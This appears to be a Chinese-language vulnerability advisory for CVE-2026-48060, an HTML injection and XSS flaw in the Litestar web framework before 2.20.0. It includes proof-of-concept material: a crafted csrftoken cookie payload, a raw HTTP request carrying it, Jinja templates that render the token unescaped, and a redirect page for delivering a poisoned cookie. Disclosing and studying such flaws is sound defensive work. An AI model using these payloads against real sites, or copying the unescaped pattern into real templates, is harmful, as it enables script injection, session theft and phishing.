Litestar通过CSRF进行HTML注入CVE-2026-48060
Litestar 是一个基于 Python 的高性能服务器网关接口(ASGI)Web 框架,其主打轻量化、高性能与完善开发体验,兼容 Python3.9+。
一、基本情况
Litestar 基于ASGI标准构建,默认异步处理请求,高并发场景性能远超同步Flask/Django,支持 uvicorn、granian等主流异步服务运行。

Litestar 内置依赖注入、认证授权、静态文件服务、会话、中间件、后台任务、文件上传、缓存,支持分层项目架构,高并发 API 服务。
栋科技漏洞库关注到Litestar在 2.20.0 之前版本中通过CSRF令牌进行HTML注入漏洞,现追踪为CVE-2026-48060,CVSS 3.X评分 8.1。
二、漏洞分析
CVE-2026-48060安全漏洞存在于 Litestar 在 2.20.0 之前版本,使用模板引擎结合CSRF保护的Litestar实例容易受到HTML注入的攻击。
被攻击者利用后很可能会升级为跨站点脚本,因为当按照文档建议进行配置时,CSRF cookie 的内容被模板引擎排除在自动转义之外。
此漏洞会影响所有使用模板以及CSRF保护的Litestar实例,这些模板已与“模板”页面中的“添加CSRF输入”文档部分内联配置。
成功利用此问题的攻击者可以将任意HTML标签注入页面,然后在受害用户的浏览器中呈现。
这包括脚本标签,允许攻击者将攻击升级为跨站点脚本攻击,从而在受害者的浏览器中执行任意JavaScript代码。
根据网站的配置,这可能会导致Cookie或会话令牌被盗。此问题还允许攻击者更改网站的外观。
这可能会通过在页面中注入虚假表单,甚至略读用户在合法表单中输入的信息,从而引发可能的网络钓鱼攻击。
三、POC概念验证
我们在本次披露中使用了通过PyPI提供的最新Litestar版本。
(一)需要特殊配置
对于易受此问题影响的web应用程序,它必须:
使用模板呈现返回给用户的内容(例如Jinja、Mako、MiniJinja)
启用CSRF保护
启用CSRF输入(即包含CSRF令牌的隐藏表单字段)
上述配置的相关文档链接:
https://docs.litestar.dev/2/usage/templating.html
https://docs.litestar.dev/latest/usage/middleware/builtin-middleware.html#csrf
https://docs.litestar.dev/latest/usage/templating.html#adding-csrf输入
(二)重现步骤
1、访问一个包含表单、使用模板、启用CSRF保护并将CSRF令牌作为隐藏输入字段插入表单的应用程序。
为了便于复制,本公开稍后将包括演示此配置的概念验证应用程序。
2、请注意,当页面加载时,服务器会设置csrftoken cookie。

3、将csrftoken cookie的值设置为“><h1>HTML注入测试</h1>。

4、刷新页面。
5、请注意,cookie的内容在页面上呈现。

(三)漏洞利用代码
这里包括两个概念证明(PoC)。
第一个演示了当用户提供恶意csrftoken cookie时,任意HTML会被注入到页面中。
第二个演示了攻击者如何利用漏洞向毫无戒心的用户发起攻击。
概念验证应用程序可以使用以下命令启动:
# run poc1
python -m uvicorn poc1:app
# run poc2
python -m uvicorn poc2:app
PoC 1-最小易受攻击的应用程序
这个概念证明表明,精心制作的csrftoken cookie将在易受攻击的页面上以HTML的形式呈现。
poc1.py
管理员已设置登录后刷新可查看test.jinja
<html>
<body>
<div>
<form method="post">
{{ csrf_input | safe }}
<label for="fname">Username:</label><p>
<input type="text" id="username" name="username"><p>
<label for="lname">Password:</label><p>
<input type="text" id="password" name="password">
<input type="submit">
</form>
</div>
</body>
</html>
向易受攻击的页面发送以下请求将导致csrftoken cookie中包含的HTML被注入并呈现在页面上。
GET /vulnerable HTTP/1.1
Host: localhost:8000
Cookie: csrftoken="><h1>HTML Injection Test</h1>

PoC 2-模拟攻击传递
此概念验证演示了攻击者如何使用此漏洞向毫无戒心的用户发起攻击。
我们使用此示例是因为它提供了易于本地复制的功能,在最终应用程序中,可能有各种不同于所提供示例的触发此漏洞的方法。
首先,用户必须访问一个恶意应用程序(poc2.py中的/First_site端点),该应用程序将csrftoken cookie值设置为恶意有效负载。
此应用程序必须与易受攻击的应用程序托管在同一个顶级域上,以便用户的浏览器会自动将中毒cookie发送到易受攻击页面。
接下来,恶意应用程序将用户重定向到易受攻击的应用程序(poc2.py中的/second_site端点)。
受害者的浏览器会自动将中毒的cookie发送到易受攻击的应用程序。
这会导致易受攻击的应用程序不安全地将cookie内容写入页面并将其返回给用户,从而在受害用户的浏览器中执行攻击
poc2.py
管理员已设置登录后刷新可查看page1.jinja
<html>
<body>
<h1>Setting cookie...</h1>
<script>
setTimeout(() => {
window.location.href="/second_site"
}, 2000);
</script>
</body>
</html>
page2.jinja
<html>
<body>
<div>
<form action="/form_receive" method="post">
{{ csrf_input | safe }}
<label for="fname">Username:</label><p>
<input type="text" id="username" name="username"><p>
<label for="lname">Password:</label><p>
<input type="text" id="password" name="password">
<input type="submit">
</form>
</div>
</body>
</html>


四、影响范围
Litestar<2.20.0
五、修复建议
Litestar ≥ 2.20.0
六、参考链接
管理员已设置登录后刷新可查看